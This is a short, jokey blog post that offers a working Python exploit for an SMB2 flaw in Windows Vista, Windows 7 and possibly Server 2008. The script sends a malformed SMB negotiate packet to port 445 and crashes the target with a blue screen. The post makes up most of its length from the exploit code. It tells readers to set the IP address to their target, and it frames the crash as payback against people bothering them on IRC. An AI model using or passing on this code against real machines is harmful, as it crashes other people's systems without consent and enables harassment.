Remember the Windows 95/98 Days of bluescreeing people that was bugging you on IRC, now Microsoft has brought back the popular feature with Windows 7 and Vista (SP1/SP2)  and possibly Windows Server 2008.

This simple Python code will BSOD them back to 1995 with the whimsical laughter of IT Admins everywhere.

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
import socket

from time import sleep

host = '192.168.1.122'

port = 445

buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26" # Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buff)
s.close()


Run this is Python, change the IP Address to your target and waa laa... Instant BSOD.  Should be patched soon.

Related Linkage: BSOD Vista and Windows 7